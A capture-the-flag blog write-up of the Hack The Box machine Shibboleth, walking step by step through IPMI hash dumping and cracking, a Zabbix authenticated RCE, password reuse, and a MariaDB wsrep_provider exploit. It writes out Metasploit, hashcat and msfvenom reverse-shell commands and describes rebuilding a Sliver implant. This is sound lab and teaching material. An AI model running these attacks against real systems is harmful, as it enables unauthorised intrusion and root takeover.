HTB - Shibboleth Writeup
👾 Machine Overview
This is a writeup of the machine Shibboleth from HTB, it’s a Medium difficulty Linux machine which featured IPMI hash retrieval, a Zabbix CVE, and a MariaDB CVE.
🔍 Enumeration
An initial scan of the host gave the following results:
1 | naabu -host 10.129.1.123 |
Web it is!
🕸 FlexStart?
First I added shibboleth.htb to my /etc/hosts file; then I checked out the website running on 80.

We’re greeted with this super (not) exciting bootstrap template page. I couldn’t find any interesting functionality within the site.

The footer references Zabbix, and Bare Metal BMC automation. Zabbix is a monitoring platform for tracking the state of infrastructure - cluing us in to the fact that there’s probably a vhost to find.
Googling What is Bare Metal BMC automation leads to a lot of reading about protocols like IPMI, and PXE. Checkout this rapid7 blog for more info.
IPMI, or Intelligent Platform Management Interface is a protocol that allows out of band management of servers. It’s a system that’s independent from the OS and allows management of the machine even if it’s off - like iDRAC.
PXE, or Preboot Execution Environment, is a protocol that allows a machine to boot an OS over the network, often used during provisioning.
Given this info; we’re likely to encounter some of these protocols (and Zabbix). After my research break; I fuzzed for vhosts:
1 | ffuf -w /tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" --fw 18 |
This comes back with the subdomains monitor, monitoring, and zabbix - which wouldn’t you believe it; all lead to Zabbix!

At this point I was a bit stuck; we don’t have an easy way to fingerprint the version of Zabbix in use, we don’t have creds, and there hasn’t been much else to look at. I decided to go back to enumeration and check for things like IPMI and PXE.
🕴IPMI
IPMI generally runs on UDP port 623 (not caught in my initial scan), and PXE uses several UDP ports.
1 | sudo nmap -sV -sC -p 623 -sU shibboleth.htb |
623 happened to have IPMI open. IPMI should never be externally accessible; it’s an inherently vulnerable and sensitive remote management protocol.
There are well-known default credentials for different manufacturers, an authentication bypass via Cipher 0, and IPMI hash retrieval. The IPMI specification is inherently vulnerable; it’ll provide the password hash for any valid user you request. If you tumble potential usernames you can both enumerate valid users, and grab their hash to crack offline.
Since this is a problem with the protocol; there’s no easy way to fix it, you have to segment these devices and prevent remote access to IPMI/BMCs except from specific networks.
With this in mind, I used the ipmi_dumphashes msf module to grab the hash of the administrator:
1 | [2026-05-22 16:54:15] [192.168.171.128] (Sessions:0 Jobs:0) auxiliary(scanner/ipmi/ipmi_dumphashes) > run |
Then I cracked it with hashcat:
1 | hashcat -a 0 -m 7300 ipmi.hash /tools/rockyou.txt |
We can use these credentials to login to Zabbix.
👀 Zabbix

Now that we’re logged into Zabbix, the version is helpfully displayed in the footer as Zabbix 5.0.17. This version of Zabbix is vulnerable to CVE-2021-46088, which grants authenticated RCE.
I used this exploit to pop a reverse shell; which I then upgraded to a Sliver beacon for better stability.
1 | python3 exploit.py http://zabbix.shibboleth.htb Administrator "[REDACTED]" 10.10.14.23 6969 |
1 | nc -lvnp 6969 |
At this point; I wasn’t able to grab the flag as zabbix; but looking at users on the system there is an ipmi-service user. We can su to ipmi-svc by reusing the IPMI admin password, and grab the user flag.
⚾ MySQL
Now for root. I did all the standard enumeration, running LinPEAS, checking out the filesystem, checking out listening/running services, etc.
Running netstat, we see 3306 listening on localhost, indicating that there’s likely a locally accessible MySQL database.
1 | ipmi-svc@shibboleth:~$ netstat -tulpn |
LinPEAS also flagged potential DB credentials in /etc/zabbix which we can retrieve from zabbic_server.conf:
1 | ipmi-svc@shibboleth:~$ cd /etc/zabbix/ |
Here we have potential creds for MySQL as the user zabbix.
1 | ipmi-svc@shibboleth:/etc/zabbix$ mysql -u zabbix -p |
They work! next I checked our permissions, and the contents of the database.
1 | MariaDB [(none)]> SHOW GRANTS; |
Nothing jumped out to me within the DB itself, but this is MariaDB version 10.3.25, and we have SUPER privileges. This version of MariaDB is vulnerable to a command injection vulnerability, CVE-2021-27928, that should allow us to run a .so file if we have SUPER.
According to this walkthrough, we should be able to execute a shared object payload using the following command:
1 | mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/PAYLOAD.so";' |
Shared object files are dynamic libraries; like DLLs in Windows. I tried generating one with Sliver (--os linux --format shared), but it refused to work, more on that later.
To get things moving, I followed the outlined steps from ExploitDB and generated a reverse shell payload with msfvenom:
1 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.23 LPORT=6969 -f elf-so -o rev.so |
Then I triggered it by setting the wsrep_provider:
1 | ipmi-svc@shibboleth:/tmp$ mysql -u zabbix -p |
This gave me a callback as root which I used to grab the root flag:
1 | nc -lvnp 6969 |
✨ Lightning Round: Exploiting with Sliver
I was done at this point; but frustrated that things weren’t working with sliver. I tried just executing the shared object and ran into the following issue:
1 | ipmi-svc@shibboleth:/tmp$ LD_PRELOAD=./NASTY_WALNUT.so /bin/true |
Checking out my payload, it looks like it’s using newer versions of GLIBC than we have on the target system:
1 | root@pablo:~/.sliver/slivers/linux/amd64/NASTY_WALNUT/src# objdump -p NASTY_WALNUT_patched.so | grep GLIBC |
Sure enough; Shibboleth is on 2.31:
1 | ldd --version |
To deal with this, I used docker to spin up a container with an older version of gcc and all the needed libraries, and recompiled the implant. Sliver stores source for implants in ~/.sliver/slivers/[operating system]/[chipset]/[beacon name]/src.
My new payload uses only 2.3 and 2.2:
1 | root@pablo:~/.sliver/slivers/linux/amd64/NASTY_WALNUT/src# objdump -p NASTY_WALNUT_patched.so | grep GLIBC |
This actually works on the host, and I was able to use the same method to get a callback as root - although it does timeout quickly (good enough for now).

Calling that a win; yippee!
📖 Resources
| 🔗 Hyperlink | ℹ️ Info |
|---|---|
| Rapid7 | IPMI & BMC Blog |
| NIST NVD | Zabbix Authenticated RCE CVE-2021-46088 |
| ExploitDB | Zabbix Authenticated RCE Exploit |
| NIST NVD | MariaDB OS Command Injection CVE-2021-27928 |
| ExploitDB | MariaDB OS Command Injection Exploit |
| Lfgberg’s Cybersec Notes | My IPMI notes page |
- Title: HTB - Shibboleth Writeup
- Author: Liam Geyer
- Created at : 2026-06-02 00:00:00
- Updated at : 2026-06-02 20:25:18
- Link: https://lfgberg.org/2026/06/02/htb/shibboleth/
- License: This work is licensed under CC BY-NC-SA 4.0.